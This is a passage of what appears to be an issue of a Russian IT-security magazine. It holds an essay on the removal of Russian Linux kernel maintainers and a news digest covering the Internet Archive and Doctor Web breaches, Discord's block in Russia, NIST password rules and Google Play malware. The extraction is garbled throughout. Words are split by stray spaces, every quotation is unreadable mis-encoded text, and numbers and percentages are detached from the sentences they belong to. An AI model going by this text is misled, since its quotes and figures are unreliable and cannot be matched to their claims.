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Из спис ка офи циаль ных мей нтей неров
ядра Linux  один надцать рос сий- 
ских раз работ чиков. Эта новость задела
мно гих — при чем не толь ко в Рос сии.
Давай поп робу ем разоб рать ся, что имен но
слу чилось, почему и какие из это го мож но
сде лать выводы.

ис клю чили

На чалось все с пат ча от 18 октября 2024 года, в котором Грег Кроа-Хар тман,
ответс твен ный за выпуск ста биль ной вет ки ядра, убрал из фай ла
MAINTAINERS один надцать рус ских фамилий. Это не оста лось незаме чен ным,
и вско ре начал раз горать ся скан дал.

Ке роси на в огонь под лил Линус Тор валь дс,  сле дующее:на писав

«

»

Ñî âåð øåííî ïîíÿò íî, ïî÷åìó ýòè èçìå íåíèÿ áûëè ñäå ëàíû, è îòìå- 
íÿòü èõ íèê òî íå áóäåò. Ïîïûò êà òðîë ëåé ñ ðîñ ñèé ñêèõ ôàá ðèê èñïîëü- 
çîâàòü àíî íèì íûå àêêà óíòû, ÷òî áû èçîá ðàçèòü àêòè âèñ òîâ, íè ê ÷åìó
íå ïðè âåäåò.

Êñòà òè, åñëè êòî äåé ñòâè òåëü íî èíòå ðåñó åòñÿ, à íå ïðîñ òî òðîëëü
íà çàð ïëà òå, «ðàç ëè÷íûå îôè öèàëü íûå òðå áîâà íèÿ» èñõî äÿò íå òîëü êî
îò ÑØÀ.

È åñëè êòî�òî åùå íå ñëû øàë ïðî ñàí êöèè ïðî òèâ Ðîñ ñèè,
ïî÷èòàé òå, ÷òî ëè, íîâîñ òè. È ïîä «íîâîñ òÿìè» ÿ èìåþ â âèäó íå ïðî- 
ðîñ ñèé ñêèé ñïàì.

Òåì, êòî øëåò ìíå ïàò ÷è ñ îòêà òîì èçìå íåíèé, — ïîï ðîáóé òå âêëþ- 
÷èòü ïþðåø êó, êîòîðàÿ ó âàñ íàçûâà åòñÿ ìîç ãàìè. ß — ôèíí. ×òî,
äóìà åòå, ÿ ñòà íó ïîä äåðæè âàòü ðîñ ñèé ñêóþ àãðåññèþ? Ïîõîæå, ó âàñ
òàì íå òîëü êî íîð ìàëü íûõ íîâîñ òåé íå õâà òàåò, íî è çíà íèé èñòî ðèè.

Как пос ле это го мог ло не полых нуть? Но нас, как всег да, инте ресу ют не эмо- 
ции, а нас тоящие мотивы.

Сра зу отме тим важ ный момент: ком митить код рос сий ским раз работ чикам
ник то не зап рещал. Их име на и поч ты лишь убра ли с глаз долой — из спис ка
офи циаль ных пред ста вите лей.

Од нако все рав но оста ется тяж кое ощу щение, что это про тиво речит
какой-то неписа ной эти ке сво бод ного соф та. Опен сорс всег да соз давал ся
людь ми из самых раз ных час тей пла неты, незави симо от того, как эти час ти
отно сят ся друг к дру гу. А тут вдруг доб роволь ный труд нес коль ких раз работ- 
чиков отверга ют вро де бы за одну толь ко наци ональ ность.

Тем, кто мало зна ком с миром опен сорса, важ но объ яснить вто рой клю- 
чевой момент. Сло ва «доб роволь ный труд» вов се не обя затель но зна чат, что
раз работ чик пилит ядро Linux у себя дома и пита ется чем бог пош лет. Боль- 
шинс тво мей нтей неров, вклю чая самого Тор валь дса, впол не офи циаль но
получа ют воз награж дение.

Ча ще все го линук соиды-ядер щики работа ют в какой-нибудь ком пании,
которая сама нуж дает ся в низ коуров невом коде для Linux и потому дер жит
на зар пла те соот ветс тву ющих девело перов. Они тру дят ся в основном
на свою кон тору, но заод но что-то ком митят в апс трим — то есть отправ ляют
пат чи на ревью Тор валь дсу и его помощ никам, а те реша ют, вклю чать или не
вклю чать новый код в ядро.

Круп ные ком пании вро де Red Hat, Intel или IBM еще и донатят спе циаль- 
ным НКО (нап ример, Linux Foundation, где работа ет Линус), а те раз дают
гран ты авто рам важ ных ком понен тов, не получа ющим за свой вклад обыч ную
зар пла ту.

А где круп ные ком пании или спон сиру емые ими фон ды, там и про тив ное
сво бодо люби вому духу сло веч ко «ком пла енс», то есть тре бова ния, которым
нуж но соот ветс тво вать. Нап ример, соб людать сан кции, если их вве ло пра- 
витель ство стра ны, в которой работа ет ком пания или фонд.

Как минимум часть рос сий ских прог раммис тов, исклю чен ных
из MAINTAINERS,  в под сан кци онных фир мах: «Сбе ре», «Бай- 
кал элек тро никс» и «Откры той мобиль ной плат форме», при над лежащей «Рос- 
телеко му». Сот рудни чес тво с ними, пусть и опос редован ное, юрис ты Red Hat
и IBM навер няка видят как потен циаль ную проб лему. Да и самому Linux
Foundation за несоб людение сан кций может при лететь от федераль ного пра- 
витель ства.

тру доус тро ены

Так что перед Тор валь дсом, ско рее все го, встал выбор меж ду один- 
надцатью раз работ чиками (из более чем тысячи) и круп ными донора ми.
Потеря чего из это го нав редит раз витию Linux боль ше? Ответ оче виден.

Ин терес но, что нап рямую об этом ска зано не было (нес мотря на 
выражать ся яснее): Тор валь дс лишь сос лался на нежела ние обсуждать
с широкой пуб ликой «юри дичес кие детали». Но намеки сов сем не тон кие.

прось бы

Тут кто-то обя затель но ска жет, что при нятие полити чес ких сто рон нав- 
редит обще му делу еще боль ше и луч ше бы потерять день ги спон соров,
но не нарушить прин ципы. Но для тех, кто хорошо зна ком с твор чес твом Тор- 
валь дса, его нежела ние воп реки все му сто ять горой за иде алы сво бод ного
соф та вряд ли будет шоком.

Тор валь дс никог да не стре мил ся выражать ся и дей ство вать ней траль но.
Есть  при меров того, как «отец Linux» кому-то гру бит
или откро вен но посыла ет. Он неод нократ но ссо рил ся с дру гими раз работ- 
чиками и был цен тром самых раз ных скан далов.

це лые кол лекции

Тор валь дс переда ет при вет фир ме Nvidia

А вот каким-то мощ ным иде оло гом сво бод ного соф та Тор валь дс никог да
не был. Лицен зировать ядро Linux по GPL его изна чаль но уго ворил Ричард
Стол лман, и Тор валь дс, в отли чие от него, прак тику ет куда более ути литар ный
под ход к опен сорсу.

Для Стол лма на и его сорат ников из FSF сво бода соф та — это цель, а ядро
Linux — прос то ком понент, без которо го сис тема GNU/Linux не смог ла бы
работать. Для Тор валь дса же все наобо рот: раз работ ка Linux — цель, а сво- 
бод ная лицен зия — средс тво ее дос тижения.

От сюда и час тые раз ногла сия. Нап ример, Тор валь дс не раз 
GPL v3 — новую вер сию лицен зии, которая обя зыва ет раз работ чиков железа
рас кры вать код про шив ки, если в ней исполь зован опен сор сный код. По мне- 
нию Тор валь дса, такой радика лизм лишь умень шит популяр ность Linux,
а потому не нужен.

кри тико вал

Ну и наконец, если кто-то счи тал, что раз работ ка сво бод ного соф та —
это какой-то отдель ный мир без полити ки, то зря. Прос то полити чес кими
в нем обыч но счи тают ся сов сем дру гие темы: нап ример, какой про токол
или стан дарт выб рать. Отве ты на такие воп росы — вещь вов се не абс трак- 
тная, и они могут нап рямую помочь или нав редить какой-нибудь круп ной ком- 
пании, а зна чит, на кону неред ко боль шие день ги.

Ка кие выводы мож но сде лать из этой исто рии? Пер вый и самый оче вид- 
ный свя зан с лич ностью Линуса Тор валь дса. Судить о его манере руководс- 
тва, сти ле пуб лично го обще ния и взгля дах на опен сорс я, пожалуй, оставляю
читате лю. Посове тую толь ко не при писы вать челове ку при вер женность опре- 
делен ным (или, самое веселое, — не впол не опре делен ным) иде алам,
а затем гне вать ся, что он им не соот ветс тву ет.

Для меня куда важ нее вто рой, гло баль ный вывод. Чем более серь езную
роль в нашей жиз ни игра ет софт, тем слож нее будет его раз работ ке оста- 
вать ся в сто роне от мир ских дел. Исто рия с ядром Linux и рус ски ми мей нтей- 
нерами — яркий тому при мер. И совер шенно точ но не пос ледний.
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В этом месяце: «Архив интерне та» под вер гся сра зу нес коль- 
ким ата кам, в Рос сии заб локиро вали Discord, нес коль ким
учас тни кам груп пиров ки REvil вынес ли при гово ры, NIST
пред ложил перес мотреть тре бова ния к сос тавле нию
паролей, телеви зоры сле дят за тем, что смот рят поль зовате- 
ли, а так же дру гие инте рес ные события про шед шего
октября.

ВЗЛОМ «АРХИВА
ИНТЕРНЕТА»
В октябре неком мерчес кую орга низа цию «Архив интерне та» (Internet Archive)
взло мали дваж ды, а так же зло умыш ленни ки похити ли аутен тифика цион ную
БД поль зовате лей, содер жащую более 31 мил лиона уни каль ных записей.

О пер вой ата ке ста ло извес тно 9 октября 2024 года, и ее замети ли
посети тели сай та Wayback Machine (archive.org), так как хакеры соз дали
JavaScript-опо веще ние, в котором пря мо заяви ли, что Internet Archive ском- 
про мети рован.

«
»

«Âàì íèêîã äà íå êàçàëîñü, ÷òî Internet Archive ðàáîòà åò íà ÷åñ òíîì
ñëî âå è ïîñ òîÿí íî íàõîäèò ñÿ íà ãðà íè êàòàñ òðî ôè÷åñ êîãî íàðóøå íèÿ
áåçîïàñ íîñòè? Èìåí íî ýòî òîëü êî ÷òî ïðî èçîø ëî. Óâè äèì ñÿ ñ 31 ìèë- 
ëèîíîì èç âàñ íà HIBP», — ãëà ñèëî ñîîá ùåíèå çëî óìûø ëåííè êîâ.

Под аббре виату рой HIBP под разуме вал ся сер вис Have I Been Pwned, собира- 
ющий информа цию об утеч ках дан ных. Здесь поль зовате ли могут про верить
свою информа цию на пред мет ком про мета ции, а так же под писать ся на соот- 
ветс тву ющие уве дом ления. Ресурс был соз дан ИБ-спе циалис том Тро ем Хан- 
том (Troy Hunt), и хакеры неред ко делят ся с ним укра ден ными дан ными
для добав ления в базу HIBP.

Трой Хант сооб щил, что за девять дней до дефей са сай та зло умыш ленник
дей стви тель но поделил ся с ним аутен тифика цион ной базой дан ных Internet
Archive, которая пред став ляет собой SQL-файл (ia_users.sql) раз- 
мером 6,4 Гбайт.

Эта БД содер жала информа цию об аутен тифика ции зарегис три рован ных
поль зовате лей, вклю чая их адре са элек трон ной поч ты, псев донимы, вре мен- 
ные мет ки сме ны паролей, хеширо ван ные bcrypt пароли и дру гую внут реннюю
информа цию. Самая пос ледняя мет ка в записях датиро вана 28 сен- 
тября 2024 года. Пред полага ется, что имен но тог да и была укра дена БД.

По сло вам Хан та, сум марно база содер жит 31 мил лион уни каль ных email-
адре сов и мно гие из этих людей под писаны на уве дом ления об утеч ках дан- 
ных на HIBP. Иссле дова тель свя зал ся с некото рыми людь ми, чья информа ция
фигури рова ла в утеч ке, и те под твер дили под линность дан ных.

В ито ге дамп был , и все поль зовате ли могут про- 
верить, дей стви тель но ли их дан ные были рас кры ты в резуль тате ком про- 
мета ции Internet Archive, а тем, кто под писан на уве дом ления об утеч ках, уже
разос ланы пре дуп режде ния.

до бав лен в БД HIBP

Ин терес но, что одновре мен но со взло мом «Архив интерне та» под вер гся
и мощ ным DDoS-ата кам, ответс твен ность за которые взя ла на себя про- 
палес тин ская хак груп па SN_BlackMeta. Хотя DDoS и взлом Internet Archive
про исхо дили прак тичес ки одновре мен но, за эти ми инци ден тами сто яли раз- 
ные зло умыш ленни ки. То есть дефейс и кра жа дан ных никак не свя заны
с SN_BlackMeta.

19–20 октября 2024 года Internet Archive пос тра дал от вто рой ата ки: в эти
дни мно жес тву поль зовате лей неожи дан но приш ли отве ты на ста рые зап росы
по уда лению кон тента из Wayback Machine. Сооб щения были написа ны зло- 
умыш ленни ками и гла сили, что орга низа ция взло мана, пос коль ку неб режно
обра щалась со сво ими аутен тифика цион ными токена ми, которые были
похище ны еще во вре мя пер вой ата ки.

«

»

«Óäðó ÷àþùåå çðå ëèùå. Äàæå ïîñ ëå òîãî, êàê íåñ êîëü êî íåäåëü íàçàä
ñòà ëî èçâåñ òíî î âçëî ìå, IA òàê è íå ïðî ÿâè ëà äîë æíîé îñìîòðè òåëü- 
íîñ òè è íå îáíî âèëà ìíî ãèå êëþ ÷è API, êîòîðûå áûëè ðàñ êðû òû â ñåê- 
ðåòàõ íà èõ GitLab, — ãëà ñèëî ïèñü ìî. — Êàê ïîêàçû âàåò ýòî ñîîá- 
ùåíèå, ñðå äè íèõ áûë òîêåí Zendesk ñ ïðà âàìè äîñ òóïà ê 800K+
òèêåòîâ ïîä äåð æêè, îòïðàâ ëåííûõ íà info@archive.org ñ 2018 ãîäà.
Íåâàæ íî, ïûòàëèñü ëè âû çàäàòü êàêîé�òî âîï ðîñ èëè ïîï ðîñèëè óäà- 
ëèòü âàø ñàéò èç Wayback Machine, òåïåðü âàøè äàí íûå íàõîäÿò ñÿ
â ðóêàõ êàêîãî�òî ðàí äîìíî ãî ïàð íÿ. Åñëè áû ýòî íå ñäå ëàë ÿ,
ýòî ñäå ëàë áû êòî�òî äðó ãîé».

При этом некото рые поль зовате ли отме чали, что при зап росе на уда ление
кон тента из Wayback Machine им при ходи лось ука зывать лич ные дан ные. То
есть эта информа ция тоже может находить ся в руках зло умыш ленни ков,
в зависи мос ти от того, какой дос туп они име ли к Zendesk.

Жур налис ты изда ния Bleeping Computer писали, что неод нократ но
пытались пре дуп редить адми нис тра цию Internet Archive о том, что их
исходный код укра ден через аутен тифика цион ный токен GitLab, который «све- 
тил ся» в сети на про тяже нии двух лет. Одна ко изда ние так и не получи ло отве- 
та от пред ста вите лей орга низа ции.

Де ло в том, что человек, взло мав ший «Архив интерне та» в середи не
октября, силь но расс тро ился, ког да мно гие СМИ по ошиб ке при писа ли взлом
упо мяну той выше груп пиров ке SN_BlackMeta. В ито ге хакер свя зал ся
с Bleeping Computer через пос редни ка, взял на себя ответс твен ность за ата ку
и объ яснил, как про ник в Internet Archive.

По сло вам зло умыш ленни ка, ата ка началась с того, что он нашел дос- 
тупный файл кон фигура ции GitLab на одном из сер веров орга низа ции
(services-hls.dev.archive.org). Изда нию уда лось под твер дить, что этот токен
дей стви тель но был дос тупен пос торон ним как минимум с декаб ря 2022 года,
при чем за это вре мя он неод нократ но менял ся.

Ха кер утвер жда ет, что файл кон фигура ции содер жал аутен тифика цион ный
токен, поз воля ющий заг рузить исходный код Internet Archive. Яко бы эти
исходни ки вклю чали допол нитель ные учет ные дан ные и аутен тифика цион ные
токены, в том чис ле от сис темы управле ния БД Internet Archive. В ито ге зло- 
умыш ленник ска чал БД поль зовате лей, исходные коды и дефей снул сайт.

Сог ласно заяв лени ям хакера, в общей слож ности он похитил у «Архи ва
интерне та» 7 Гбайт дан ных, одна ко он отка зал ся пре дос тавить жур налис там
какие-либо образцы в качес тве доказа тель ства сво их слов. Пока оче вид но
лишь то, что токены дос тупа к API Zendesk опре делен но были сре ди похищен- 
ной информа ции.

Как отме тил вла делец и глав ный редак тор Bleeping Computer Лоренс
Абрамс (Lawrence Abrams), пос ле ком про мета ции «Архи ва интерне та» в сети
появи лось мно жес тво теорий о том, кто мог взло мать НКО и зачем это вооб- 
ще мог ло кому-то понадо бить ся. Так, некото рые полага ют, что за ата кой сто- 
ит Изра иль, дру гие обви няют пра витель ство США, а третьи подоз рева ют, что
на такой шаг мог ли пой ти круп ные кор порации, которые дав но борют ся с НКО
из-за наруше ний автор ских прав.

Од нако Абрамс пишет, что мотивы зло умыш ленни ков не были полити чес-
кими или финан совыми. По его сло вам, ресурс взло мали прос то так, потому
что мог ли. Яко бы эта ата ка помог ла повысить репута цию хакера сре ди дру гих
прес тупни ков.

 ТРЕБУЮТ РОССИЙСКИЕ
ТЕЛЕКАНАЛЫ ОТ GOOGLE
2 ÓÍÄÅÖÈËËÈÎÍÀ ÐÓÁËÅÉ

По дан ным СМИ, общая сум ма тре бова ний  рос сий ских телека налов к ком пании Google дос- 
тигла . Унде цил лион — это еди ница с .
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2 унде цил лионов руб лей 36 нулями

Суд наз начил штраф Google из-за того, что ком пания не выпол нила тре бова ние по вос ста нов- 
лению акка унтов на YouTube ряда рос сий ских медиа. Пос тра дав шими по это му делу про ходят,
нап ример, «Звез да», «Пер вый канал» и ВГТРК.

Суд обя зал Google вос ста новить их акка унты на YouTube, а в слу чае неис полне ния тре бова- 
ний — взыс кать неус той ку. Если решение суда не будет выпол нено в течение девяти месяцев
с момен та его вступ ления в силу, за каж дый день неис полне ния начис ляет ся штраф в раз мере

 руб лей. Так же сум ма  каж дую неделю, пока решение не будет выпол- 
нено, а огра ниче ния общей сум мы штра фа поп росту нет.
100 000 уд ваивает ся

БЛОКИРОВКА
DISCORD
8 октября 2024 года мес сен джер Discord был заб локиро ван в Рос сии
за наруше ние тре бова ний законо датель ства РФ. Ранее Рос комнад зор (РКН)
нап равил адми нис тра ции Discord тре бова ние уда лить 947 про тивоп равных
матери алов.

«
»

«Äîñ òóï ê ìåñ ñåí äæå ðó Discord îãðà íè÷åí â ñâÿ çè ñ íàðóøå íèåì òðå- 
áîâà íèé ðîñ ñèé ñêî ãî çàêîíî äàòåëü ñòâà, âûïîë íåíèå êîòîðûõ íåîá- 
õîäèìî äëÿ ïðå äîò âðà ùåíèÿ èñïîëü çîâàíèÿ ìåñ ñåí äæå ðà â òåð ðîðèñ- 
òè÷åñ êèõ è ýêñ òðå ìèñò ñêèõ öåëÿõ, âåð áîâêè ãðàæ äàí äëÿ èõ ñîâåð- 
øåíèÿ, ïðî äàæè íàð êîòèêîâ, â ñâÿ çè ñ ðàç ìåùåíè åì ïðî òèâîï ðàâíîé
èíôîðìà öèè», — çàÿâè ëè â ÐÊÍ.

В ведомс тве отме тили, что нап равили в адрес Discord мно жес тво тре бова ний
уда лить зап рещен ный кон тент, одна ко ряд таких матери алов был по-преж- 
нему дос тупен в сво бод ном дос тупе.

К при меру, за неделю до бло киров ки сооб щалось, что РКН нап равил
адми нис тра ции Discord тре бова ние уда лить «947 про тивоп равных матери- 
алов, в том чис ле содер жащих дет скую пор ногра фию, при зывы к экс тре миз- 
му, вов лечение несовер шенно лет них в совер шение про тивоп равных дей- 
ствий, при зывы к само убий ству, про паган ду ЛГБТ (приз нано экс тре мист ским
и зап рещено в РФ) и про нар котичес кий кон тент». По дан ным РКН, некото рые
из этих «интернет-стра ниц» не были уда лены.

Так же в прош лом в Рос комнад зоре уже заяв ляли, что Discord не выпол няет
тре бова ния закона пос ле вклю чения в реестр соци аль ных сетей, хотя пос ле
это го ком пания обя зана самос тоятель но выяв лять и бло киро вать про тивоп- 
равный кон тент.

«

»

«Ìåñ ñåí äæåð Discord â îñíî âå ñâî åé — ýòî àíî íèì íîå ñîîá ùåñ òâî.
Èçíà ÷àëü íî ñîç äàííûé äëÿ èñïîëü çîâàíèÿ â îíëàéí�èãðàõ, ñî âðå- 
ìåíåì îí ñòàë àêòèâíî èñïîëü çîâàòü ñÿ ïðåñ òóïíè êàìè. Áëà ãîï ðèÿò íûå
óñëî âèÿ äëÿ ñîê ðûòèÿ ïðåñ òóïíîé äåÿòåëü íîñ òè ïðè ðàñ ñëå äîâà íèÿõ
ñîç äàåò ïîë íûé îòêàç åãî âëà äåëü öåâ îò ïîä òâåðæäå íèÿ ñâå äåíèé
î íîìåðå òåëåôî íà ïîëü çîâàòå ëÿ ïðè ðåãèñ òðà öèè â ñîîò âåòñ òâèè
ñ òðå áîâà íèÿìè ðîñ ñèé ñêî ãî çàêîíî äàòåëü ñòâà. Êàê è â äàð êíå òå, àíî- 
íèì íîñòü ãàðàí òèðó åò ïðåñ òóïíè êàì áåç íàêàçàí íîñòü, — çàÿâ ëÿëè
â ÐÊÍ. — Discord ñåãîä íÿ ïî�ïðåæ íåìó ðàñ ïðîñòðà íÿåò çàï ðåùåí íóþ
èíôîðìà öèþ, ñïî ñîáñ òâó þùóþ ñîâåð øåíèþ ñåðü åçíûõ óãî ëîâ íûõ
ïðåñ òóïëå íèé, îòêà çûâà åòñÿ âûïîë íÿòü òðå áîâà íèÿ çàêîíî äàòåëü ñòâà,
îáåñ ïå÷èâà þùèå âîç ìîæíîñòü âûÿâ ëåíèÿ ïðåñ òóïíè êîâ è ïðå ñå÷å íèå
èõ äåÿòåëü íîñ òè ïðî òèâ ãðàæ äàí Ðîñ ñèè».

Как теперь сооб щил член комите та Государс твен ной думы по информа цион- 
ной полити ке Антон Нем кин, бло киров ка Discord — это «сиг нал дру гим инос- 
тран ным ИТ-ком пани ям о том, что тер пение и желание вес ти перего воры
закан чива ются». По его сло вам, бло киров ка нап равле на на обес печение
безопас ности рос сий ских поль зовате лей.

ПАВЕЛ ДУРОВ ОБ ИЗМЕНЕНИИ TERMS OF SERVICE
TELEGRAM
Гла ва Telegram про ком менти ровал изме нения в усло виях пре дос тавле ния услуг (Terms
of Service) и полити ке кон фиден циаль нос ти (Privacy Policy) плат формы. По сло вам Дурова,
в боль шинс тве стран Telegram сот рудни чал с пра воох ранитель ными орга нами и мог рас кры вать
влас тям IP-адре са и номера телефо нов прес тупни ков с 2018 года.

Де ло в том, что обновлен ные вер сии докумен тов гла сят, что IP-адре са и номера телефо нов
тех, кто наруша ет пра вила Telegram, могут быть рас кры ты соот ветс тву ющим орга нам в ответ
на пра вомер ные юри дичес кие зап росы.

→ «С 2018 года Telegram может рас кры вать IP-адре са / номера телефо нов
прес тупни ков влас тям в боль шинс тве стран в соот ветс твии с нашей полити кой
кон фиден циаль нос ти.

Вся кий раз, ког да мы получа ли пра виль но офор млен ный юри дичес кий зап- 
рос по соот ветс тву ющим каналам свя зи, мы про веря ли его и рас кры вали IP-
адре са / номера телефо нов опас ных прес тупни ков.

В Евро пе в треть ем квар тале наб людал ся рост чис ла пра вомер ных юри- 
дичес ких зап росов, которые мы получи ли. Этот рост был выз ван тем, что все
боль ше орга нов влас ти ЕС ста ли исполь зовать для сво их зап росов пра виль ный
канал свя зи, пре дус мотрен ный законом DSA в ЕС [Закон о циф ровых услу гах].
Информа ция об этой линии свя зи была дос тупна всем, кто заходил на сайт
Telegram или гуг лил Telegram EU address for law enforcement с начала 2024 года.

Что бы умень шить путани цу, мы упо рядо чили и уни фици рова ли нашу полити- 
ку кон фиден циаль нос ти для раз ных стран. Но наши основные прин ципы
не изме нились. Мы всег да стре мились соб людать соот ветс тву ющие мес тные
законы — до тех пор, пока они не про тиво речат нашим цен ностям сво боды
и кон фиден циаль нос ти.

Telegram был соз дан для защиты акти вис тов и обыч ных людей от кор румпи- 
рован ных пра витель ств и кор пораций, мы не поз воля ем прес тупни кам зло упот- 
реблять нашей плат формой или скры вать ся от пра восу дия», — рас ска зал Дуров
в сво ем Telegram-канале.

ТРЕБОВАНИЯ
К ПАРОЛЯМ
На циональ ный инсти тут стан дартов и тех нологий США (The National Institute
of Standards and Technology, NIST), федераль ный орган, уста нав лива ющий
тех нологи чес кие стан дарты для пра витель ствен ных учрежде ний, орга низа ций
по стан дарти зации и час тных ком паний, пред ложил перес мотреть некото рые
из тре бова ний к паролям. В час тнос ти, пред лага ется отка зать ся от обя- 
затель ного сбро са, тре бова ний или огра ниче ний на исполь зование опре- 
делен ных сим волов, а так же от кон троль ных воп росов.

Пред ста вите ли NIST опуб ликова ли вто рой пуб личный чер новик про екта 
, пос ледней вер сии Digital Identity Guidelines. Помимо про чего,

в этом докумен те содер жатся тех ничес кие тре бова ния и рекомен дации
для методов опре деле ния дос товер ности циф ровых иден тифика цион ных дан- 
ных, исполь зуемых для аутен тифика ции в интерне те. Орга низа ции, которые
вза имо дей ству ют с федераль ным пра витель ством США в онлай не, обя заны
соб людать эти тре бова ния.
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800-63-4

Раз дел, пос вящен ный паролям, содер жит боль шое количес тво пра вил,
про тиво реча щих общепри нятым сегод ня нор мам. К при меру, пред лага ется
не тре бовать от конеч ных поль зовате лей пери оди чес ки менять пароли.

Де ло в том, что это тре бова ние появи лось нес коль ко десяти летий назад,
ког да безопас ность паролей была пло хо изу чена и люди час то выбира ли
в качес тве паролей име на и прос тые сло ва, которые лег ко уга дать. С тех пор
боль шинс тво сер висов ста ли тре бовать исполь зования более надеж ных
паролей, сос тоящих из слу чай ных сим волов или фраз. Если пароли подоб- 
раны пра виль но, тре бова ние пери оди чес ки менять их (раз в один-три
месяца) может при вес ти к сни жению уров ня безопас ности, пос коль ку уже
извес тно, что это лишь сти мули рует поль зовате лей к исполь зованию более
сла бых паролей, которые им про ще при думы вать и запоми нать.

Еще одно тре бова ние, которое, по мне нию NIST, при носит боль ше вре да,
чем поль зы, — это обя затель ное исполь зование в пароле опре делен ных сим- 
волов или зап рет на них. Нап ример, пароль дол жен содер жать как минимум
одну циф ру, один спе циаль ный сим вол, одну заг лавную и одну строч ную бук- 
ву. Если пароли сами по себе дос таточ но длин ные и слу чай ные, такие огра- 
ниче ния тоже не при носят никакой поль зы.

В ито ге обновлен ные рекомен дации NIST гла сят, что некото рые прак тики
дол жны быть зап рещены, если орга низа ция хочет соот ветс тво вать стан- 
дартам:

ве рифи като ры и CSP не дол жны вво дить пра вила сос тавле ния паролей
(нап ример, тре бовать сочета ния раз личных типов сим волов);

•

ве рифи като ры и CSP не дол жны тре бовать от поль зовате лей пери оди чес- 
кой сме ны паролей.

•

В дан ном слу чае «верифи като ры» — это бюрок ратичес кая фор мулиров ка
для обоз начения орга низа ций, которые про веря ют лич ность вла дель ца учет- 
ной записи, под тверждая его аутен тифика цион ные дан ные. А CSP —
это доверен ная струк тура, которая наз нача ет или регис три рует аутен тифика- 
торы для вла дель цев учет ных записей.

Так же обновлен ный документ содер жит ряд дру гих рекомен даций:
ве рифи като ры и CSP обя заны тре бовать, что бы дли на пароля сос тавля ла
не менее 8 сим волов, и могут тре бовать, что бы дли на пароля сос тавля ла
не менее 15 сим волов;

•

ве рифи като ры и CSP дол жны раз решать мак сималь ную дли ну пароля
как минимум 64 сим вола;

•

ве рифи като ры и CSP дол жны поз волять исполь зовать в паролях все печат- 
ные сим волы ASCII и сим вол про бела;

•

ве рифи като ры и CSP дол жны при нимать в паролях сим волы Unicode,
и каж дый Unicode-сим вол дол жен учи тывать ся как один сим вол при оцен ке
дли ны пароля;

•

ве рифи като ры и CSP не дол жны уста нав ливать иные пра вила сос тавле ния
паролей (нап ример, тре бовать сочета ния раз личных типов сим волов);

•

ве рифи като ры и CSP не дол жны тре бовать от поль зовате лей пери оди чес- 
ки менять пароли, одна ко верифи като ры обя заны при нуди тель но сме нять
пароли, если есть доказа тель ства ком про мета ции аутен тифика тора;

•

ве рифи като ры и CSP не дол жны раз решать поль зовате лям хра нить под- 
сказ ки, дос тупные неаутен тифици рован ным лицам;

•

ве рифи като ры и CSP не дол жны пред лагать поль зовате лям про вер ки
на осно ве зна ний (Knowledge-based authentication, нап ример «Как зва ли
вашего пер вого питом ца?») или кон троль ные воп росы при выборе пароля;

•

ве рифи като ры обя заны про верять весь вве ден ный пароль пол ностью (то
есть не усе кать его).

•

Но вые рекомен дации NIST, если их при мут в окон чатель ной вер сии докумен- 
та, не будут обя затель ными для всех, одна ко они могут стать убе дитель ными
аргу мен тами в поль зу отка за от мно гих уста рев ших прак тик.

МАЛВАРЬ В GOOGLE PLAY STORE
Спе циалис ты ком пании Zscaler под счи тали, что в пери од с июня 2023 года по апрель 2024 года
через офи циаль ный магазин Google Play рас простра нялось более  вре донос ных при ложе- 
ний, которые заг рузили око ло  поль зовате лей.

200
8 мил лионов

Са мыми рас простра нен ными угро зами ока зались: инфости леры Joker ( ) и Facestealer
( ), раз личная рек ламная мал варь ( ), тро яни зиро ван ные при ложе ния Harly ( ),
бан ков ский тро ян Anatsa ( ).

38,2%
14,7% 35,9% 1,8%

1,4%

Поч ти полови на вре донос ных при ложе ний, обна ружен ных иссле дова теля ми, была опуб ликова- 
на в Google Play в катего риях , , ,

 и .
«Инс тру мен ты» «Пер сонали зация» «Фотог рафия»

«Про дук тивность» «Стиль жиз ни»

От атак мобиль ной мал вари боль ше все го пос тра дали поль зовате ли из  и , а за
ними сле дуют ,  и .

Ин дии США
Ка нада Юж ная Афри ка Ни дер ланды

Продолжение статьи →

mailto:nefedova@glc.ru
https://haveibeenpwned.com/PwnedWebsites#InternetArchive
https://pages.nist.gov/800-63-4/sp800-63b.html
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АТАКА НА «ДОКТОР
ВЕБ»
В середи не октября спе циалис ты Data Leakage & Breach Intelligence (DLBI)
сооб щили, что хакер ская груп пиров ка DumpForums заяви ла о ком про мета ции
инфраструк туры ком пании «Док тор Веб». При этом через офи циаль ный
Telegram-бот ком пании поль зовате лям приш ли сооб щения о взло ме.

Со обще ние от хакеров, отправ ленное через Telegram-бота

По информа ции DLBI, хакеры обна родо вали дам пы ldap.dev.drweb[.]com,
vxcube.drweb[.]com, bugs.drweb[.]com, antitheft.drweb[.]com, rt.drweb[.]com
и дру гие. Иссле дова тели писали, что дан ные акту аль ны на 17 сен- 
тября 2024 года.

В сво ем Telegram-канале груп пиров ка сооб щила, что похити ла у ком пании
свы ше 10 Тбайт дан ных и скры валась в сети ком пании боль ше месяца.

«

»

«Íàì óäà ëîñü âçëî ìàòü è âûã ðóçèòü ñåð âåð êîð ïîðàòèâ íîãî GitLab, ãäå
õðà íèëèñü âíóò ðåííèå ðàç ðàáîò êè è ïðî åêòû, ñåð âåð êîð ïîðàòèâ íîé
ïî÷ òû, Confluence, Redmine, Jenkins, Mantis, RocketChat — ñèñ òåìû,
ãäå âåëàñü ðàç ðàáîò êà è îáñóæäà ëèñü çàäà÷è. Âñå ïðî åêòû ïî óëó÷- 
øåíèþ áåçîïàñ íîñòè òåïåðü, êàæåò ñÿ, íóæ äàþò ñÿ â çàùèòå ñàìè
ïî ñåáå. Íå îñòà âèëè áåç âíè ìàíèÿ è ðåñóð ñû ïî óïðàâëå íèþ ÏÎ.
Êëè åíò ñêèå áàçû äàí íûõ. Äà, äàí íûå ïîëü çîâàòå ëåé, êîòîðûå äîâåðÿ- 
ëè Dr.Web ñâîþ áåçîïàñ íîñòü, ìû òàê æå âûã ðóçèëè. Âèøåí êà íà òîð- 
òå — äîìåí�êîí òðîë ëåð. Ïîñ ëå òîãî êàê ìû îâëà äåëè èì, íàì îñòà- 
âàëîñü ëèøü ïîïîë íÿòü íàøè íàêîïè òåëè, âûã ðóæàÿ âñå áîëü øå äàí- 
íûõ», — ïèñàëè ó÷àñ òíè êè DumpForums.

Быв ший сот рудник «Док тор Веб», пожелав ший сох ранить ано ним ность, под- 
твер дил «Хакеру» под линность информа ции на опуб ликован ных хакера ми
скрин шотах.

